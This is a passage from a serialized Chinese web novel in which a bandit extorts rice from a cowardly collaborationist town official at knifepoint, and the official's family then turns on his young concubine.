可脑袋刚转过去,视线扫过身后之人的瞬间,胡汉三所有的声音、所有的恼怒,瞬间死死卡在喉咙里,整个人彻底僵住了。 身后立着的,哪里是娇小柔弱、身形纤细的桃红。 眼前是一道极其高大魁梧的黑影,身形宽阔挺拔,肩膀厚实,骨架宽大,透着常年习武走山林的凶悍气势,顶天立地的汉子身形,和柔弱娇小的女人身子天差地别。 第809章 抠门他娘给抠门开门——抠门到家了 昏暗的星光下,虽看不清对方的眉眼,可那庞大压迫的身形,瞬间让胡汉三头皮炸裂、浑身发冷。 陌生! 凶悍! 危险! 一股极致的寒意,瞬间从脚底直冲头顶。 他瞳孔剧烈收缩,脑子一片空白,刚张开嘴,想要放声呼救。 下一瞬间,一把冰凉锋利的短刀已经架在了他的脖颈大动脉之上。 刀锋冰冷刺骨,紧紧地贴着皮肉,只要对方稍稍一动,便能瞬间割破他的喉咙。 一道低沉冷厉的嗓音,贴着他的耳边冷冷地响起。 “想活命,就闭紧嘴巴,不要出声。” 冰冷的刀锋、狠厉的语气、近在咫尺的杀机,瞬间击溃了胡汉三所有的胆子。 他浑身剧烈地颤抖着,整个人吓得瞬间噤了声,连呼吸都不敢太重。 死寂的卧房里,只剩下他慌乱急促的喘息声。 良久,他才勉强从极致的恐惧里抽回一丝神智,身子抖得像筛糠,牙齿不停地打颤,哆哆嗦嗦、结结巴巴地问道:“你……你……你是谁?深夜闯入我家中……意欲何为?” 身后的高大黑影闻言,只是低沉地轻笑一声,笑声里满是嘲讽和不屑。 他丝毫没有遮掩的意思,大大方方地报出了自己名号。 “老子行不更名坐不改姓,清风集团陈老三。” 简简单单几个字,如同惊雷炸在胡汉三耳边! 陈老三! 这个名字,胡汉三刻骨铭心,这辈子都不可能忘掉。 前些年,他想借着胡士高身亡、胡家大院孤儿寡母势单力薄的时机抢夺胡家大院,是陈老三奉了李二狗的命令,亲自带人下山,狠狠地教训了整个胡家,打怕了胡氏父子,杀尽了胡家的嚣张气焰。 那一次的教训,惨烈而又深刻,让他直到现在想起,心底都还残留着深深的畏惧。 他万万没有想到,时隔多年,清风寨的陈老三,竟然会深夜再次摸到自己的卧房里来! 当年的清风寨现在虽然已改名清风集团,但土匪就是土匪,无论名称怎么改变,都改变不了他们杀人越货的本性。 一股巨大的恐惧瞬间席卷全身,他方才所有的老爷架子,瞬间消失得干干净净。 求生的本能瞬间占据上风。 胡汉三连忙强行稳住发抖的身子,脸上瞬间堆起一脸极致谄媚的笑容,转头对着陈老三连连点头哈腰。 “原来是清风集团的三爷啊!久仰大名,久仰大名!三爷大驾光临,是老朽有眼不识泰山,失礼……失礼了!” 他姿态放得极低,卑微而又讨好,连连赔笑。 “不知三爷深夜大驾光临寒舍,到底有何指教啊?但凡老朽能办到的,一定尽力,一定尽力!” 陈老三低头看着胡汉三这副卑躬屈膝的窝囊模样,眼底里满是鄙夷。 他本就名声响彻周边乡镇,寻常乡里乡绅、地痞流氓,无人不惧。 此刻看着胡汉三这般卑微讨好的姿态,听着对方一口一个“三爷”恭敬地喊着,心底难免生出几分得意。 他压着心底的傲气,嘲讽道:“胡汉三,你这老小子倒是活得很滋润舒坦的。我们清风集团一众兄弟,日日守在深山荒岭里,风餐露宿,一年四季喝西北风熬日子。” “你倒好,坐着维持会会长的位子,住着大院豪宅,夜里还有这么年轻貌美的小老婆陪着享清福。你自己说说,这他娘的合理吗?” 胡汉三早已吓得魂飞魄散,哪里敢有半点反驳。 刀锋还架在脖子上,性命全在对方一念之间。 他连忙不停地点头道:“不合理!不合理!三爷说得太对了,一点都不合理!是老朽享福太过,兄弟们如此辛苦,都是老朽的不对!” 陈老三原本还准备好好刁难施压一番,没想到这老东西如此窝囊软蛋,一点骨气没有,问什么认什么。 他鼻腔里重重地冷哼一声,故意说道:“既然你也知道不合理,那你自己说说,这事该怎么了结?怎么补偿我们山里的弟兄?” 胡汉三眼珠子飞速地转动着,心里瞬间想通透了对方的来意。 深夜闯宅、持刀逼命,不为寻仇,不为杀人,说到底,就是为了求财、为了勒索好处。 想明白这一点,他心里稍稍安定几分,只要是求财,就有商量的余地,自己这条老命就能保得住。 他连忙堆着笑脸,小心翼翼试探道:“三爷,山里弟兄们日日驻守深山,着实是辛苦不易。老朽心里明白,也感到心里愧疚。您看这样心虚?老朽奉上一百块大洋,聊表一点心意,给弟兄们添点茶酒钱,还请三爷千万不要嫌弃微薄,暂且收下。” 一百块大洋,在他看来已是不小数目,想着勉强能打发走这帮山匪。 可这话落在陈老三耳里,只觉得无比可笑。 陈老三忍不住“噗嗤”一笑,讥讽道:“胡汉三啊胡汉三,你他娘的可真是抠门他娘给抠门开门——抠门到家了。一百块大洋?你是打发街边要饭的吗?一百块大洋就想买你今晚这条老命?你这条维持会会长的命,难道就值这么点零碎?你自己不觉得寒酸丢人吗?” 冰冷的嘲讽,狠狠地拍在胡汉三脸上。 胡汉三心里一慌,连忙改口道:“是老朽小气了!是老朽目光短浅!还请三爷恕罪!”胡汉三一咬牙一跺脚,一副豁出去不过了的样子,“两百块大洋!老朽愿意奉上两百块大洋!全部孝敬三爷和山里的弟兄!您看这样行不行?” 陈老三此番深夜下山,是奉李二狗的安排而来,目的就是步步紧逼,狠狠地敲打胡汉三,哪里是区区两百块大洋就能打发的。 别说两百,就算两千块大洋,今日他也断然不会点头应允。 他看着眼前这个贪财守拙、吝啬怕死的老东西,嗤笑道:“两百块大洋?哈哈哈,胡汉三,你可真他娘的是天底下第一等的守财奴。这点大洋,你还是自己留着带进棺材里给自己打陪葬板吧!老子不稀罕!” 话音落下,陈老三手腕微微用力,架在脖颈上的短刀,骤然又往下压了半分。 第810章 不为美色所动 冰凉锋利的刀锋紧紧地嵌入他的皮肉之中,钻心的刺痛感瞬间传来,死亡的恐惧感骤然翻倍。 “嘶——” 胡汉三瞬间吓得浑身一软,裤裆下一热,一股温热的液体顺着他的裤腿缓缓流淌下来。 胡汉三被当场直接吓尿了。 一股浓重的臊臭味,瞬间在昏暗的卧房里弥漫开来。 六十多岁的老东西,被这一刀吓破了胆,彻底丢尽了全部的脸面。 陈老三忍不住骂道:“真他娘的是废物篓子!” 胡汉三吓得浑身瘫软,哪里还顾得了脸面,他连连磕头求饶道:“三爷息怒!三爷饶命!老朽知错了!五百块大洋!老朽愿意拿出五百块大洋!这真的是老朽全部的家底了!三爷若是不信,大可让人全屋搜查,老朽绝无半点隐瞒!” 五百块大洋,已是他能一次性拿出来的极限。 可陈老三对此依旧半点不动容,眼底只有冰冷的嘲讽。 “五百块大洋?你倒是真舍得为自己这条烂命出血。你以为能瞒得了老子吗?你当初为了巴结郭有财,买一个维持会会长职位,随手就送给他一千块大洋,连眼睛都不眨一下。如今要买你自己的脑袋,你就只舍得掏五百块?这五百块大洋,老子不稀罕,你还是留着给自己买棺材板吧!” 话音未落,刀锋再次下压。 胡汉三彻底吓疯了,浑身抖得不成样子,脑袋不停地摇晃着,拼命求饶。 “三爷!三爷!求求您高抬贵手!老朽知错了!您想要多少大洋,您直接开口报数!老朽但凡能凑得出来,必定竭尽全力,如数奉上!绝不敢有半点推脱!” 陈老三垂眸看着瘫软发抖的胡汉三,缓缓说道:“我们清风寨做事,向来讲道理,从不强人所难。知道你当个维持会会长,日日应付日本人,风里来雨里去的也不容易。那我便给你打个折,肯定不会为难你。” 他故意顿了顿,继续说道:“一万块大洋!三天之内,凑齐送来!一个子都不能少!少一分,我便亲自来取你狗命!” 一万块大洋! 这五个字如同泰山压顶,狠狠地砸在胡汉三心头。 他整个人瞬间眼前一黑,双腿一软,直接重重地瘫坐在炕面上,彻底傻了眼。 面如死灰,满眼都是绝望。 “一万块……三爷,您就是杀了老朽,老朽也万万拿不出这么多大洋啊!老朽只是镇上一个小小的维持会会长,平日里攒下的积蓄寥寥无几,一万块大洋,简直是天文数字!老朽即便是倾家荡产,也凑不齐分毫!求求三爷开恩,放过老朽这一回吧!” 一万块大洋他是真的拿不出来,一点假话都没有。 一万块大洋,别说他一个小小的乡镇维持会会长,就算是整个仙人洞镇所有乡绅家底凑在一起,也未必能轻易凑齐。 可他心里清楚,自己要是拿不出钱,眼前的陈老三绝对不会善罢甘休,今晚自己这条老命,大概率就要交代在这里。 死亡的恐惧死死地攫住他的心神,慌乱至极的脑子里,拼命搜寻活命的法子。 电光火石之间,他眼珠子猛地一转,瞬间计上心头。 他脸上挤出极尽谄媚讨好的笑容。 “三爷,您和这位兄弟深夜下山,一路奔波劳碌,折腾了这大半夜,定然也累了。钱财之事咱们暂且好商量,不急在这一时半刻。我家里的桃红,您方才也看见了,今年刚十八岁,年轻貌美、水嫩温柔,性子更是温顺懂事。” “不如这样,今晚让桃红好好伺候三爷和这位兄弟歇息歇息,给二位解解乏、松松筋骨。小姑娘细皮嫩肉的,最是解乏不过了。” 他满心以为,天底下所有土匪,都是抢钱抢色之辈。 只要献上自己的小老婆,讨好对方,对方必然会心满意足,松口放过自己,不再逼迫巨额大洋。 为了活命,他是一点底线和廉耻都不要了。 亲手将自己年轻貌美的小老婆推给土匪糟蹋,拿女人的清白身子,换自己一条老命。 无耻、卑劣、自私到了极致。 一旁的陈老三,听完这番话,眼底瞬间涌上滔天的厌恶和鄙夷。 他早就知道胡汉三为人卑劣无耻、唯利是图、贪生怕死,毫无底线。 可他万万没有想到,这老东西竟然无耻下流到这般地步! 为了保全自己的性命,竟毫不犹豫就把自己的小老婆推出去讨好土匪,拿自己女人的清白换自己苟活。 这般卑劣龌龊、毫无廉耻的行径,简直猪狗不如! 不可否认,桃红长得的确非常漂亮,身段也是婀娜多姿,更关键的是青春鄙人,陈老三不可能不动心。 但他知道,今晚他是带着李二狗的任务而来,若是一时贪图美色,误了李二狗的大事,自己肯定是吃不了兜着吃。 更关键的是此次下山他不是一个人,他不敢放肆! 陈老三厉声喝骂道:“胡汉三!你简直是混账至极!老子没你这么龌龊肮脏的心思!别拿你那点下作心思揣度我们清风集团的人!我最后给你一次选择!要么,三日之内凑齐一万块大洋!要么,老子现在就取你狗头!两条路,你自己选!” 胡汉三彻底吓懵了。 在在他一辈子的认知里,土匪没有不好色、没有不贪恋漂亮女人的。 如果连漂亮女人都不要,那当土匪还有什么意义? 可眼前的这个陈老三,竟然对年轻貌美的桃红一点兴趣都没有,丝毫不为美色所动,只认钱财。 他彻底慌了,彻底无计可施了,只能哭丧着脸连连哀求。 “三爷!老朽是真的拿不出一万块大洋啊!您就算杀了老朽,也是白白搭上一条性命,于事无补啊!” 陈老三脸上露出狰狞的冷笑:“拿不出?拿不出那就简单了。今晚老子先杀了你,然后把你胡家上下满门老小,尽数杀光,鸡犬不留!” 这句狠话彻底击溃了胡汉三最后一点心理防线。 灭门的恐惧,比自己身死更让他恐惧! 第811章 胡汉三被逼上绝路 胡汉三被吓得浑身剧烈一抽,身子一歪,直接从炕面上滚落下去,重重地摔在冰冷坚硬的地面上。 他顾不上浑身酸痛,连滚带爬地从地上爬起来,对着陈老三不停地磕头,额头重重地砸在地面上,砰砰作响,磕头如捣蒜。 “三爷饶命!三爷饶命啊!求求您高抬贵手,放过我胡家满门!老朽一定尽力!一定尽力!” 就在他吓得魂不附体之际,旁边一直静静站立的孙连胜,开始了他的表演。 早在下山之前,李二狗就预料到会是这个结果,所以他特意叮嘱了孙连胜一番,替他想好了说辞。 “三哥,依我看,这老东西吓得肝胆俱裂,是真的拿不出一万块现大洋,再逼下去,只会逼死他,咱们什么好处都落不到,反倒白费功夫。” 陈老三转头看向孙连胜,故作沉吟,顺着话头问道:“不要大洋?那你说要什么?难不成还要他这个老东西的小老婆?” 地上的胡汉三一听有了转机,连忙抢着开口道:“要!要!三爷若是看得上,桃红尽管带走!白白送给三爷,分文不取!只要三爷放过我胡家老小!” “呸!”陈老三满脸嫌恶,厉声唾骂道:“你个快要入土的老不死,一把年纪,还霸占着十八岁的娇嫩小姑娘做小老婆!全然不顾天理廉耻!你还要你这张老脸吗?!” 胡汉三此时一点脸面都不要了,只顾着拼命求饶保命。 “我不要脸!老朽不要脸!只要能活命,老朽什么都不要!” 卑微下作,毫无底线,简直无耻到了极点。 孙连胜见状,继续提议道:“三哥,大洋他拿不出来,咱们也没必要硬逼。山里一众弟兄目前最缺的就是粮食,马上就要断顿了,人人就想吃口大米饭。咱们要大洋,最后也是要拿去镇上换粮食,现如今世道混乱,粮食紧缺,有钱都未必能买到大米。” “依我看,咱们不如不要大洋,直接让他出粮食,来得更为实在。” 陈老三故作思索,佯装斟酌了片刻,随后看向瘫软在地上一直磕头的胡汉三。 “连胜,你说得有道理,兄弟们都饿得只剩一把骨头了。”他居高临下地盯着瑟瑟发抖的胡汉三,“胡汉三,我给你三日时间,给我们筹集一万斤上好的大米,三天之后的午夜子时,我亲自带人来取粮。” “我丑话说在前头,你若是敢偷偷向日本人告密,老子不止杀你一人,定要杀了你胡家满门,寸草不留!” 一万斤大米! 虽远不及一万块大洋贵重,却也是巨额负担,关键是这个年月,到哪里去买大米?大米那可是只有日本人才吃得起的金贵粮食。 不过如果再不答应,胡汉三知道等待他的将是什么结果。 能拖三日是三日。 他哪里还敢有半点异议,连忙不停地磕头,额头磕得发红出血。 “老朽不敢!老朽万万不敢告密!不敢耍半点花样!一定按照三爷的吩咐按时凑齐大米,恭迎三爷前来取粮!绝不敢有半点差池!” 看着他卑微怯懦的窝囊模样,陈老三不由得露出满意的笑容。 目的已然达到,不待胡汉三反应过来,陈老三猛然抬手,一掌精准地劈在胡汉三后颈上。 胡汉三哼都来不及哼一声,脑袋一歪,双眼一闭,身子一软,当场被打晕在地。 漆黑的卧房里,终于彻底安静下来,只余下晕倒在地的胡汉三和躺在角落里昏睡不醒的桃红。 仙人洞镇的天,算是彻底塌在了胡家大院。 阴沉的天光透过雕花窗棂,灰蒙蒙地铺在堂屋的青砖地上,一点暖意都没有。 正屋里面死气沉沉,压抑得让人喘不过气来,只有一股子挥之不去的慌乱,死死地压在胡家老小每一个人的心头。 昨夜清风集团的人来要一万斤大米带来的惊吓,到这会儿还牢牢地缠在所有人的心头。 胡汉三昨晚从地上苏醒过来之后,便迫不及待地把这个噩耗告诉了家中的每一个人。 一夜未合眼的煎熬,把这一家人的体面、和气和底气,尽数磨了个干干净净。 清风集团就是土匪窝,说话向来是一口唾沫一颗钉,三日之内,胡家必须交出一万斤大米,逾期不交,后果是什么,他们心里都有数。 一万斤大米! 这五个字,就像五块沉甸甸的铁板,结结实实地压在胡家人的心口上,压得他们直不起腰、喘不上气。 偌大的一个胡家,曾经在仙人洞镇是何等风光? 胡汉三当着维持会会长,掌管着镇上的大小公事,出入有人迎送,邻里个个巴结,家里良田百亩,宅院阔气,仆从伺候,是镇上除了胡家大院之外数二的体面人家。 可谁也没料到,一朝得罪了山上的清风集团,往日的风光便瞬间成了泡影,顷刻间就落得个进退无路的绝境。 堂屋里静了许久,最先憋不住开口的是大儿子胡豺。 他整个人塌着肩膀,耷拉着脑袋,一张脸灰败得如同死了人一般,眼底全是麻木和绝望,一点年轻人该有的精气神都没有。 他站在八仙桌旁,双手局促地垂在身侧,嗓子干涩得厉害,带着压不住的无力和烦躁,一字一顿地地说道:“爹,别说一万斤大米,就是一千斤大米,咱们现如今也没有本事筹到啊。” 这句话就像是一根引火的火柴,瞬间点燃了屋里紧绷的气氛。 一旁站着的二儿子胡豹,几乎是立刻就点头附和。 他比胡豺更沉不住气,脸上挂着赤裸裸的慌乱和不耐烦,眉头死死皱着,嘴巴不停咂摸着。 “可不是这个理?爹,这根本就是办不到的事啊!三日之内凑一万斤大米,别说咱们只是一个镇上的财主,就是县城里那些积年的大商户,也未必能一口气拿得出来!清风集团这就是故意为难人,摆明了是要把咱们胡家往绝路上逼啊!” 兄弟俩你一言我一语,没有半句替家里分忧的法子,从头到尾,满嘴都是难处、都是推脱、都是无能为力。 第812章 丧门星 两人眼里只看得见眼前的难处,只想着能把自己摘出来,一点没琢磨过该如何帮老爹渡过难关,满脑子都是不可能、办不到。 这两个愚昧的人始终想不明白,土匪不是问胡汉三要一万斤大米,是问胡家要一万斤大米,交不上一万斤大米,死得不仅仅是他胡汉三一个人。 坐在主位太师椅上的胡汉三,浑身紧绷,脸色青白交加。 他已是年过花甲之人,昨夜被山上下来的土匪连夜恐吓,担惊受怕熬了一整夜,水米未进,心神俱裂。 原本保养得还算体面的面容,一夜之间仿佛苍老憔悴了不止十岁。 眼下乌青发黑,眼皮浮肿,鬓边的白发愈发扎眼,平日里挺着的腰杆,此刻也直不起来,微微佝偻着,浑身透着一股脱力的疲软。 往日里他在镇上作威作福,说话掷地有声,一句话就能决定镇上的大事小情,走到哪里都是前呼后拥,威风八面。 可此刻,坐在自家堂屋的主位上,他却半点一家之主的威严都撑不起来,只剩满心的疲惫、惶恐和无力。 他本就熬了一夜,强撑着最后一口气,就等着天亮之后,两个儿子和自家老婆子能凑在一起,商量出一个切实可行的法子,帮胡家扛过这灭顶的难关。 他这辈子积攒的这点家业,全都押在这仙人洞镇,他输不起,更丢不起。 可听着两个儿子满是推诿且毫无担当的话,他心里那点仅剩的期盼,一点点凉得彻底,最后只剩一片刺骨的冰凉。 还没等胡汉三压下心头的火气,站在侧边的胡老太太,也就是胡汉三的原配老婆,终于憋不住了,她尖利着嗓子开了口。 这老太太活了大半辈子,性子暴戾粗俗,心胸狭隘,一辈子没读过书,没见过大世面,眼里心里只有家长里短、争风吃醋,半点大局观都没有。 她这辈子唯一的依仗,就是自己是胡汉三明媒正娶的正房太太,生了两个儿子,稳稳占着胡家主母的位置。 这段时间,她心里一直憋着一口恶气。 胡汉三自打当上仙人洞镇维持会会长之后,手里有了权势,便不顾她的脸面,不顾邻里闲话,硬生生从外面娶了桃红做小老婆。 桃红年轻貌美,性子温顺,比她这粗陋泼辣的原配老太太好看百倍、柔顺百倍。 自打桃红进了胡家大门,胡汉三的心思便大半偏了过去,平日里对桃红嘘寒问暖,反倒对结发妻子愈发冷淡疏离。 老太太心里的嫉妒、怨恨和委屈,日积月累,憋了一日又一日。 可她心里也拎得清轻重,胡汉三是仙人洞镇的维持会会长,在她眼里,那就是天大的官,是胡家最大的靠山。 她再怨、再恨、再不甘心,也不敢当面顶撞胡汉三,不敢对着胡汉三撒半点火气,所有的不满全都尽数撒在了桃红身上。 平日里在家,她就处处刁难桃红,无事也要挑三分错,鸡蛋里挑骨头,处处看桃红不顺眼,句句夹枪带棒,把所有的怨气都发泄在这个年轻的小老婆身上。 在她心里,桃红就是凭空闯进她家、抢走她丈夫、分走她体面的祸害。 如今胡家大祸临头,摊上了凑一万斤大米的无解难题,老太太一点不反思家里的难处,半点不忧心家业安危,第一时间就把所有过错全都扣在了桃红头上。 她认定了,就是这个新来的小妖精,冲撞了家里的气运,给胡家招来了灾祸。 老太太三角眼一瞪,满脸横肉紧绷着,嘴角往下狠狠耷拉着,语气尖利刻薄,带着无尽的醋意和恶意,声音尖锐地划破屋里的死寂。 “我早就说了!那个小骚货不是什么好东西!自打她一脚踏进咱们胡家的大门,我就看出来了,她就是个天生的丧门星!” 她越说越激动,身子都跟着微微发抖,积压许久的醋火借着眼前的灾难,彻底爆发了出来,字字句句都透着恶毒。 “以前我就处处看她不对劲,眉眼弯弯的尽是勾人的狐媚样子,专门惑人心神!家里往日平平安安,半点灾事没有,她一来,家里就没安生过!如今倒好,土匪直接找上门,把咱们胡家往死里逼,这一切,全都是这个小贱人招来的祸事!” 说到气头上,老太太往前挪了两步,眼神凶狠,语气决绝,直接撂出了最狠心的主意。 “要我说,这事根本不用咱们一家人发愁受罪!干脆把那个桃红拖出去,卖到县城的窑子里去!那丫头年轻漂亮,身段模样都是拔尖的,怎么着也能换回来几百斤大米!有了这几百斤粮,咱们好歹能顶一顶难关,总比一家人坐在这里等死要强!” 这话一出,屋里的气氛愈发诡异阴冷。 站在一旁的胡豹,眼底瞬间闪过一丝隐秘的光亮,心里立马动了歪心思。 他早就对桃红垂涎三尺。 桃红生得貌美温柔,眉眼清丽,性子柔软,和自家那粗鄙的老婆截然不同。 自打桃红进了胡家,胡豹就日日惦记,心里痒痒的,总想着占点便宜。 平日里他没少私下试探,借着家里晚辈的身份凑近乎、说浑话、故意搭讪,可桃红是个有底线、知分寸的女子,每一次她都言辞严厉地拒绝了他,一点机会都不给他,态度坚决,毫不留情。 一次次的碰壁,一次次的被冷落,让胡豹心里的色念渐渐变成了浓烈的怨恨和记恨。 他心里早就恼透了桃红,巴不得把这个屡次扫他脸面、拒绝他心意的女人彻底赶出胡家,最好是让她落个凄惨下场,才能解他心头之气。 此刻听见自家老娘这番话,简直是说到了他的心坎里。 他一点不顾及家门体面,更不顾及老爹对桃红的几分情意,立刻忙不迭地开口附和,嘴脸自私又卑劣。 “娘说得太对了!这种丧门星,压根就不该留在咱们胡家!留着她就是留着祸根,迟早要把咱们全家都拖垮!”